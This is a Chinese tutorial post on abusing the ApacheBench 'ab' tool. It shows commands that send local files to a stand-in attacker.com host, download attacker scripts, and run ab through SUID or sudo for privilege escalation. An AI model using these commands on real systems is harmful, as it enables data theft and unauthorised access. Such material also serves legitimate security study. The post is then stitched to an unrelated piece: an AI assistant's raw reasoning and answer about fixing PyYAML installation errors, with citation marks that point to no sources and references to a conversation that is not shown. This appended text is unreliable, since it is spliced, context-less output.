本地权限绕过之ab命令

一、ab命令概述(Web服务器性能测试)

二、本地绕过的四种基本方式

2.1文件上传(File upload)

2.2 文件下载(File download)

2.3 SUID

2.4 Sudo

一、ab命令概述

ab代表“Apache Bench”,该命令是Apache超文本传输协议(HTTP)服务器性能测试工具,可以使用该命令来测试当前所安装的Apache服务器的运行性能,显示Apache服务器每秒可以处理多少个HTTP请求。(补充:ab命令是Apache服务器自带的一款功能强大的测试工具,所属包为apache2-utils)
Debian系统命令行下载:apt install apache2-utils
Centos系统命令行下载: yum -y install httpd-tools
下载完成后输入ab -V检查是否成功下载和当前版本

This is ApacheBench, Version 2.3 <$Revision: 1843412 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

二、本地绕过的四种基本方式

2.1 文件上传

基本原理如下图所示
在这里插入图片描述
一般来说,存在文件上传漏洞的网站都有类似的交互框,即客户输入一些内容,服务器根据输入的内容在本地或其它服务器上进行查找,最后返回用户需要的内容。
ab命令绕过的骚操作

# Upload local file via HTTP POST request.通过HTTP协议的POST请求上传文件
URL=http://attacker.com/    # 要进行文件上传的网站(一般是靶机)
LFILE=file_to_send    # 本地要上传的文件(一般是PHP反弹脚本)
ab -p $LFILE $URL     # -p参数(上传包含了POST数据的文件)

2.2文件下载

有的时候,在进入后台服务器的时候,可能需要从攻击机上下载一些搜集信息的脚本,除了curl、apt 、wget、 yum等常见下载命令外,ab有的时候也会是一个不错的选择。

# 使用前提:攻击机提前开启服务器:python -m SimpleHTTPServer 8080
URL=http://attacker.com/file_to_download   # attacker.com=攻击机IP
ab -v2 $URL  -v参数,设置显示返回信息的详细程度,
# 2显示警告信息,3显示响应代码(404、303等),4显示头部信息

2.3 SUID

suid的特殊作用:可以基于二进制命令绕过基础权限体系,比如可以修改没有权限的文件。

# 假设:服务器禁止上传文件或者入侵进后台服务器后,无法通过脚本反弹shell
# 那么该命令就十分有用
# Upload local file via HTTP POST request.
# 通过HTTP POST请求上传本地文件
sudo install -m =xs $(which ab) .

URL=http://attacker.com/
LFILE=file_to_send
./ab -p $LFILE $URL

2.4 Sudo

如果sudo允许二进制文件作为超级用户运行,它可以提升权限,并可用于访问文件系统、升级或维护特权访问。
通过HTTP POST请求上传本地文件。
URL=http://attacker.com/
LFILE=file_to_send
sudo ab -p $LFILE $URL

补充基础用法:测试远程apache主机(这才是诞生的主要原因)
假设你想同步并发模拟10个点击链接的请求并执行100次,可以使用参数“-n”和“-c”来指定,具体命令如下:

-n 同时链接请求数(一个网站同时被多个用户点击的次数)  
-c 执行次数(服务器反应并且执行的次数)
ab -c 10 -n 100 "http://editor.csdn.net/"

参考文章:https://gtfobins.github.io/gtfobins/ab/
本研究仅供学习研究,请勿用于非法用途。

<think>好的,我现在需要解决用户在安装PyYAML 5.4.1时遇到的错误:“Getting requirements to build wheel did not run successfully”。用户之前提到了其他安装问题,比如docker-compose的kwargs_from_env错误和NumPy在32位环境下的版本问题,可能这些经验对当前问题有帮助。 首先,用户想安装PyYAML 5.4.1版本,但遇到了构建wheel时的依赖问题。可能的原因包括缺少构建工具、Python版本不兼容、系统依赖项缺失,或者网络问题。需要分步骤排查。 1. **检查Python版本和构建工具**:PyYAML可能需要特定版本的Python。用户之前使用的是Python 3.8.8,而PyYAML 5.4.1可能要求更高或兼容的版本。同时,需要确保setuptools、wheel和pip都是最新的,以便正确构建。 2. **系统依赖项**:在Linux上,可能需要安装libyaml-dev来支持C扩展,从而加速库的运行。Windows上可能需要C++构建工具,比如Visual Studio的构建工具。 3. **使用预编译的wheel**:用户可能尝试从源码编译时失败,可以寻找预编译的wheel文件,特别是对于Windows 32位环境,可能存在兼容性问题。通过指定--prefer-binary选项强制pip使用二进制包。 4. **使用conda安装**:如果pip安装失败,conda可能提供预编译的版本,绕过构建步骤。 5. **降级pip版本**:有时新版本的pip可能与旧包不兼容,降级pip可能解决问题。 6. **手动下载并安装**:从PyPI下载whl文件手动安装,适用于网络问题或特定架构需求。 需要参考用户之前的经验,比如指定版本号解决NumPy的问题,可能这里也需要明确版本和构建选项。同时用户之前提到的虚拟环境,需确认是否在正确的环境中操作,避免权限问题。 可能的解决方案步骤:更新构建工具,安装系统依赖,使用预编译wheel,换用conda,降级pip,手动安装等。需要逐一尝试,并给出具体命令示例。同时提醒用户注意虚拟环境和权限问题,比如使用--user选项或管理员权限。</think>--- ### 安装PyYAML 5.4.1时解决构建错误的完整方案 #### 一、问题背景 安装旧版本PyYAML(如5.4.1)时出现`Getting requirements to build wheel did not run successfully`错误,通常是由于**依赖缺失**或**构建环境配置不当**引起。以下是分步修复方案: --- ### 二、核心修复步骤 #### 步骤1:升级构建工具 确保`setuptools`、`wheel`和`pip`为最新版本: ```bash pip install --upgrade setuptools wheel pip ``` **作用**:修复旧版本工具链与新/旧包兼容性问题[^1]。 --- #### 步骤2:安装系统级依赖 根据操作系统补充必要依赖: - **Linux**(需libyaml开发文件): ```bash sudo apt-get install libyaml-dev # Debian/Ubuntu sudo yum install libyaml-devel # CentOS/RHEL ``` - **Windows**: 安装[Microsoft C++ Build Tools](https://visualstudio.microsoft.com/visual-cpp-build-tools/),勾选“C++桌面开发”组件。 --- #### 步骤3:强制使用预编译二进制(关键) 指定`--prefer-binary`参数避免源码编译: ```bash pip install pyyaml==5.4.1 --prefer-binary ``` **原理**:直接下载预编译的`.whl`文件,跳过可能失败的构建步骤[^2]。 --- #### 步骤4:使用conda安装(替代方案) 若pip持续失败,改用conda安装: ```bash conda install pyyaml=5.4.1 ``` **优势**:Conda仓库中可能包含适配当前系统的预编译版本。 --- #### 步骤5:降级pip版本 某些旧包与新版本pip存在兼容性问题: ```bash pip install pip==21.3.1 # 降级到兼容旧包的版本 pip install pyyaml==5.4.1 ``` --- ### 三、进阶排查 #### 方案1:手动下载whl文件 1. 访问[PyYAML的PyPI页面](https://pypi.org/project/PyYAML/5.4.1/#files) 2. 根据系统下载对应的`.whl`文件(如`PyYAML-5.4.1-cp38-cp38-win32.whl`) 3. 本地安装: ```bash pip install PyYAML-5.4.1-cp38-cp38-win32.whl ``` #### 方案2:禁用C扩展(兼容性牺牲) 若无需高性能YAML解析,可禁用LibYAML绑定: ```bash export PYYAML_FORCE_PURE=1 # Linux/macOS set PYYAML_FORCE_PURE=1 # Windows pip install pyyaml==5.4.1 ``` --- ### 四、环境验证 安装完成后检查版本及功能: ```python import yaml print(yaml.__version__) # 应输出5.4.1 print(yaml.dump({"test": "data"})) # 验证基础功能 ``` --- ### 五、关联问题参考 若出现其他依赖错误(如用户提到的`kwargs_from_env()`问题),可参考以下原则: 1. **版本锁定**:如用户安装NumPy时通过指定`numpy==1.23.0`解决兼容性问题[^3] 2. **虚拟环境隔离**:确保操作在正确的Python环境(如32位虚拟环境)中执行 ```bash python -m venv --copies 32bit_venv # 明确创建纯净环境 ``` --- ### 六、错误日志分析模板 若上述方案均失败,收集完整错误日志后排查: ```bash pip install pyyaml==5.4.1 --no-cache-dir --verbose > install_log.txt 2>&1 ``` 重点检查日志中以下部分: - `Building wheel for pyyaml (PEP 517)` - `Failed building wheel for pyyaml` - `error: subprocess-exited-with-error` --- --相关问题--: 1. 如何修复Python中缺失`libyaml`导致的C扩展编译错误? 2. 为什么Windows环境下安装Python包时需要C++构建工具? 3. 如何为旧版Python创建兼容的虚拟环境?
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值